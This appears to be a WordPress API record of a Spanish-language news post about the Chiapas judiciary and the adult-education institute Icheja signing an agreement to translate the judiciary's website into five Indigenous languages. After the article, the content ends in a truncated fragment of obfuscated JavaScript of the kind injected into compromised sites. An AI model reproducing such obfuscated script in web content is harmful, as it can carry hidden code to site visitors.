{"id":23936,"date":"2025-09-12T03:14:48","date_gmt":"2025-09-12T03:14:48","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=23936"},"modified":"2025-09-12T03:14:49","modified_gmt":"2025-09-12T03:14:49","slug":"poder-judicial-e-icheja-firman-convenio-de-colaboracion-interinstitucional","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=23936","title":{"rendered":"Poder Judicial e Icheja firman convenio de colaboraci\u00f3n interinstitucional"},"content":{"rendered":"\n
\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n<\/figure>\n\n\n\n

-Suman voluntades a favor de la inclusi\u00f3n y capacitaci\u00f3n de las y los chiapanecos.<\/p>\n\n\n\n

11 de septiembre del 2025. En un marco de cooperaci\u00f3n interinstitucional, el Poder Judicial del Estado de Chiapas y el Instituto Chiapaneco de Educaci\u00f3n para J\u00f3venes y Adultos (Icheja), celebraron la firma de un convenio de colaboraci\u00f3n, con el objetivo de fortalecer acciones conjuntas orientadas a la inclusi\u00f3n y la capacitaci\u00f3n, en beneficio de la poblaci\u00f3n chiapaneca.<\/p>\n\n\n\n

Durante el acto protocolario, el magistrado presidente del Poder Judicial del Estado, Juan Carlos Moreno Guill\u00e9n, destac\u00f3 que este convenio, que contempla acciones de capacitaci\u00f3n y de traducciones a cinco lenguas originarias de Chiapas, abona a las acciones que el Ejecutivo Estatal est\u00e1 implementando en la entidad para combatir el analfabetismo, por lo que esta casa de la justicia se suma a esta labor para dejar este rezago educativo y facilitar el acceso inclusivo a la justicia.<\/p>\n\n\n\n

Por su parte, el director general del Icheja, Sergio David Molina G\u00f3mez, se congratul\u00f3 por la concretizaci\u00f3n de esta firma, que se realiza en el marco del D\u00eda Internacional de la Alfabetizaci\u00f3n, y reconoci\u00f3 la disposici\u00f3n de estas dos instituciones para sumar esfuerzos que generen justicia social a los pueblos originarios, en donde se encuentra el mayor rezago en nuestro estado.<\/p>\n\n\n\n

Asimismo, la directora de la Unidad de Regula Mejoratoria, Esther Rosario Casahonda Culebro, describi\u00f3 que, en esfuerzo conjunto, estas instituciones realizaron la traducci\u00f3n de la p\u00e1gina web oficial del Poder Judicial del Estado de Chiapas a las lenguas originarias, con el objetivo de garantizar que las comunidades ind\u00edgenas puedan acceder y comprender claramente la informaci\u00f3n jur\u00eddica y administrativa. Adem\u00e1s de resaltar “que es el primer Poder Judicial a nivel nacional que hace la inclusi\u00f3n de las lenguas nativas”.<\/p>\n\n\n\n

En el marco de este acto, se entregaron reconocimientos a las personas traductoras e int\u00e9rpretes del Icheja que colaboraron en la traducci\u00f3n de la p\u00e1gina a lenguas tsotsil, tseltal, chol, tojolabal y zoque.<\/p>\n\n\n\n

Con esta alianza estrat\u00e9gica, el Poder Judicial del Estado refrenda su compromiso con una justicia con un enfoque intercultural, que garantice el respeto a los derechos humanos y la atenci\u00f3n digna a todas las personas, sin distingo alguno.<\/p>\n\n\n\n

Presenciaron esta firma la coordinadora regional centro del Icheja, Maritza Montserrat Robles Zavaleta; el jefe del Departamento de Atenci\u00f3n a Grupos \u00c9tnicos del Icheja, Alejandro Venegas Becerra; el director de Desarrollo e Infraestructura Tecnol\u00f3gica, Iv\u00e1n Arael Farrera D\u00edaz; el director de Juzgados de Paz y Conciliaci\u00f3n, Juzgados de Paz y Conciliaci\u00f3n Ind\u00edgena y Juzgados Municipales, Mariano L\u00f3pez P\u00e9rez; as\u00ed como integrantes de la familia judicial y del Icheja.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

-Suman voluntades a favor de la inclusi\u00f3n y capacitaci\u00f3n de las y los chiapanecos. 11 de septiembre del 2025. En un marco de cooperaci\u00f3n interinstitucional, el Poder Judicial del Estado de Chiapas y el Instituto Chiapaneco de Educaci\u00f3n para J\u00f3venes y Adultos (Icheja), celebraron la firma de un convenio de colaboraci\u00f3n, con el objetivo de …<\/p>\n","protected":false},"author":2,"featured_media":23941,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-23936","post","type-post","status-publish","format-standard","has-post-thumbnail","","category-tuxtla"],"_links":{"self":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/23936","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23936"}],"version-history":[{"count":1,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/23936\/revisions"}],"predecessor-version":[{"id":23943,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/23936\/revisions\/23943"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/media\/23941"}],"wp:attachment":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23936"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23936"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23936"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}